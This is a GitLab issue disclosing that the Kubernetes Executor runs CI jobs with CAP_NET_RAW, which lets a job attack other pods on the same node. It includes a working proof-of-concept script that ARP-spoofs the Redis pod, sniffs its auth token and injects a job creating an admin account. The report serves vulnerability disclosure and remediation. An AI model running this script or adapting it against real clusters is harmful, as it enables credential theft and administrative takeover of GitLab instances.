Skip to content
GitLab
Next
    • GitLab: the DevOps platform
    • Explore GitLab
    • Install GitLab
    • How GitLab compares
    • Get started
    • GitLab docs
    • GitLab Learn
  • Pricing
  • Talk to an expert
  • /
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
    Projects Groups Topics Snippets
  • Register
  • Sign in
  • gitlab-runner gitlab-runner
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributor statistics
    • Graph
    • Compare revisions
    • Locked files
  • Issues 3.5k
    • Issues 3.5k
    • List
    • Boards
    • Service Desk
    • Milestones
    • Iterations
    • Requirements
  • Merge requests 102
    • Merge requests 102
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Artifacts
    • Schedules
    • Test cases
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages and registries
    • Packages and registries
    • Container Registry
    • Model experiments
  • Monitor
    • Monitor
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Code review
    • Insights
    • Issue
    • Repository
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • GitLab.orgGitLab.org
  • gitlab-runnergitlab-runner
  • Issues
  • #26833
Closed
Open
Issue created Jul 16, 2020 by Joern Schneeweisz@joernchenDeveloper

Kubernetes Executor should block `CAP_NET_RAW` capability by default; allow configuration

Summary

The Kubernetes Executor executes jobs on pods with the default security context, which allows CAP_NET_RAW. This allows for malicious workloads to use arpspoofing and other methods to attack any other workload running on the same node.

As a proof of content, the default installation of the GitLab Helm chart bundles GitLab runner and deploys the Runner into the same cluster alongside the GitLab instance. This opens various attack paths from CI Jobs towards the GitLab instance, including the ability to get admin control over the instance.

Steps to reproduce

A very basic example would be the following shell script:

#!/bin/bash
apt-get update
apt-get install -y git python python-scapy tcpdump dnsutils dsniff nmap psmisc arping binutils grep netcat
GWIP=`ip route |grep default | cut -f 3 -d " "`
REDISIP=`host gitlab-redis-master-0.gitlab-redis-headless.default.svc.cluster.local | cut -f 4 -d " "`
arping gitlab-redis-master-0.gitlab-redis-headless.default.svc.cluster.local -c 3 || exit  # wrong subnet
tcpdump -ni eth0 -s 0 -w out.pcap &
arpspoof -r -t $REDISIP $GWIP & > /dev/null 2>&1 
sleep 3
tcpkill -9 port 6379 & sleep 5 && killall -9 tcpkill
sleep 10 
killall tcpdump
killall -9 arpspoof
REDISTOKEN=`strings out.pcap |grep '^auth$' -A 1  | grep '[a-zA-Z0-9]\{64\}' | head -n 1`
nc $REDISIP 6379 <<EOE
auth $REDISTOKEN
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"User.new(name: 'haxx',admin: true,password: 'haxx1234%A',username: 'haxx', email: 'ha@xx.invalid',admin: true).save\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"4552c3b1225428b18682c901\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
EOE
exit 0

The script will interfere with the redis instance on network level using arpspoof and tcpkill to sniff the redis authentication token. Subsequently the script will create an admin account via injection of a GitlabShellWorker job.

I could run this script and sucessfully create the admin account from a CI job in a test installation of the GitLab Helm chart. The installation was performed using

helm  upgrade --install gitlab  gitlab/gitlab \                                     
  --timeout 600s \
--set global.hosts.domain=k8s.thetanuki.io \
--set certmanager-issuer.email=jschneeweisz@gitlab.com \
--set global.hosts.externalIP=34.107.49.76

Note: Due to the network segmentation the CI job needed to be started several times to eventually end up in the same network segment where the redis pod lives this is required for the ARP spoofing attack to be performed.

This is just one of many possible attacks, other vectors might target the Gitaly or Gitlab Shell tokens or even sniff passwords for the Web login.

Proposal

GitLab runner should always be installed on a distinct cluster. Thus the GitLab Helm chart should not install the Runner by default.

Configuration used

The GitLab instance wasn't further configured, just sign-ups have been disabled.

Versions

  • Chart: gitlab-4.1.4
  • Platform:
    • Cloud: GKE
  • Kubernetes: (kubectl version)
    • Client: Client Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.3", GitCommit:"2e7996e3e2712684bc73f0dec0200d64eec7fe40", GitTreeState:"archive", BuildDate:"2020-05-22T20:04:08Z", GoVersion:"go1.14.3", Compiler:"gc", Platform:"linux/amd64"}
    • Server: Server Version: version.Info{Major:"1", Minor:"14+", GitVersion:"v1.14.10-gke.36", GitCommit:"34a615f32e9a0c9e97cdb9f749adb392758349a6", GitTreeState:"clean", BuildDate:"2020-04-06T16:33:17Z", GoVersion:"go1.12.12b4", Compiler:"gc", Platform:"linux/amd64"}
  • Helm: (helm version)
    • Client: version.BuildInfo{Version:"v3.1.2", GitCommit:"d878d4d45863e42fd5cff6743294a11d28a9abce", GitTreeState:"clean", GoVersion:"go1.13"}
Edited Aug 25, 2020 by Joshua Lambert
Assignee
Assign to
Time tracking